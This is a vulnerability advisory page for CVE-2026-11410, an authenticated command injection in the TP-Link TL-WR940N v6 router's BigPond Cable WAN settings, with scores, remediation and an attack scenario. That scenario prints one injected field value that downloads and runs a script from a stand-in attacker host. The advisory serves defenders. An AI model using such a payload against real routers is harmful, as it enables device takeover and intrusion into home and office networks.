Skip to main content

TL-WR940N EUVDEUVD-2026-37498

| CVE-2026-11410 HIGH
OS Command Injection (CWE-78)
2026-06-16 TPLink
8.5
CVSS 4.0 · Vendor: TPLink
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain LAN/Wi-Fi adjacency to router
  2. Delivery
    Authenticate to web UI as admin
  3. Exploit
    Open BPA WAN configuration page
  4. Execution
    Submit BPA field with shell metacharacters
  5. Persist
    httpd executes injected command as root
  6. Impact
    Install persistence or pivot into LAN

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) network adjacency to the router - specifically reach to its HTTP/HTTPS administration interface, which by default is only exposed on LAN/Wi-Fi (AV:A in the CVSS 4.0 vector), (2) valid administrative credentials for the web UI (PR:H), and (3) the attacker must reach and submit the BigPond Cable (BPA) WAN connection-type configuration form, since the injection lives in that specific WAN module's input handling. No end-user interaction is required (UI:N), and no additional attack-requirement preconditions apply (AT:N); the bug is exploitable against default configurations of vulnerable firmware once the admin session is established, and is limited to TL-WR940N hardware revision v6 running firmware older than V6_260528.

Impact

This is a moderate-priority issue rather than an emergency: the CVSS 4.0 vector (AV:A/AC:L/AT:N/PR:H/UI:N) limits exploitation to an attacker already on the adjacent network with high-privilege administrative credentials, which substantially constrains the realistic attacker pool. The 8.5 score is driven by the high VC/VI/VA impact - full command execution on the router's underlying OS - but the PR:H prerequisite means this is primarily a post-authentication privilege/persistence escalation problem (admin-on-web-UI to root-on-device) rather than an unauthenticated takeover. No EPSS score, KEV listing, SSVC decision, or public PoC was provided, and no public exploit has been identified at time of analysis, so there is no current evidence of active exploitation; however, similar TP-Link SOHO command-injection bugs have historically been weaponized for botnet recruitment once a PoC drops, and routers exposing remote management or reused admin passwords would materially raise the risk.

Exploit ScenarioDerived

An attacker who has obtained the router's admin password (via phishing, default-credential reuse, a prior CSRF, or a compromised LAN host) reaches the web UI from the LAN or Wi-Fi, navigates to the WAN configuration page, selects BigPond Cable as the connection type, and submits a crafted BPA parameter containing shell metacharacters (for example, a server or username field with ; wget http://attacker/x -O /tmp/x; sh /tmp/x #). The injected command runs with the httpd process's elevated privileges, giving the attacker a persistent root-equivalent foothold on the router that can be used for DNS hijacking, traffic interception, or pivoting into the internal network. No public PoC is currently known.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 1.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 16, 2026

Authenticated OS command injection in the TP-Link TL-WR940N v6 router's BigPond Cable (BPA) WAN configuration module allows administrators to execute arbitrary system commands with elevated privileges on the device. The flaw stems from improper sanitization of user-supplied input in the WAN setup path and affects firmware versions prior to V6_260528. No public exploit has been identified at time of analysis, and the issue is not listed in CISA KEV.

RemediationAI

Vendor-released patch: TL-WR940N v6 firmware build V6_260528 - apply this firmware (or any later release) from https://www.tp-link.com/en/support/download/tl-wr940n/v6/#Firmware or https://www.tp-link.com/us/support/download/tl-wr940n/v6/#Firmware, following the FAQ at https://www.tp-link.com/us/support/faq/5131/. Until the firmware can be updated, restrict access to the web administration interface to a trusted management VLAN or wired LAN only (disable any Remote Management / WAN-side admin access), change the default admin credentials to a strong unique password to prevent credential-stuffing into the prerequisite admin session, and avoid selecting the BigPond Cable (BPA) WAN connection type - note that the latter workaround is only viable for users who do not actually need BPA service and that LAN-only admin restriction does not protect against an attacker who already has Wi-Fi or wired access plus admin credentials.

Affected VersionsENISA

TL-WR940N V6 0 <V6_260528

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The TL-WR940N v6 is a consumer/SOHO wireless router running TP-Link's embedded Linux-based firmware, where WAN connection types - including BigPond Cable (BPA), a legacy Australian Telstra broadband authentication protocol - are configured through the device's HTTP administrative interface. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) indicates that one or more BPA-related parameters are concatenated into a shell command invocation (typically via system(), popen(), or a busybox shell call from the httpd/cgi binary) without proper escaping or allow-list validation, letting metacharacters such as ';', '|', '`', or '$()' break out of the intended argument context. The affected CPE cpe:2.3:a:tp-link_systems_inc.:tl-wr940n_v6:*:*:*:*:*:*:*:* confirms the v6 hardware revision is in scope, and the fix is delivered as a firmware update tracked as build V6_260528.

Know when Tl Wr940N V6 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TPLink) PRIMARY 8.5 HIGH
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 6.8 MEDIUM

Adjacent web-UI access (AV:A), low complexity once authenticated (AC:L), requires admin credentials (PR:H), no user interaction, and injected commands fully compromise the router OS (C/I/A:H).

3.1 AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (TPLink).

CVSS VectorVendor: TPLink

Attack Vector
Adjacent
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

An authenticated OS command injection vulnerability exists in the BigPond Cable (BPA) WAN configuration module in TL-WR940N v6 due to improper sanitization of user input. An attacker with administrative access may exploit this issue to execute arbitrary system commands with elevated privileges.

Executive ViewAI

Why It Matters

The TP-Link TL-WR940N v6 router contains a high-severity authenticated command injection vulnerability in its BigPond Cable WAN configuration module that allows authorized administrators to execute arbitrary system commands with elevated device privileges. While exploitation requires valid administrative credentials and no public exploit code has been identified, successful compromise could disrupt router operations and enable lateral movement into the network. Organizations deploying this router model require immediate firmware updates to eliminate this administration-layer attack vector.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
1.3%
Top 33% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Controlled
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy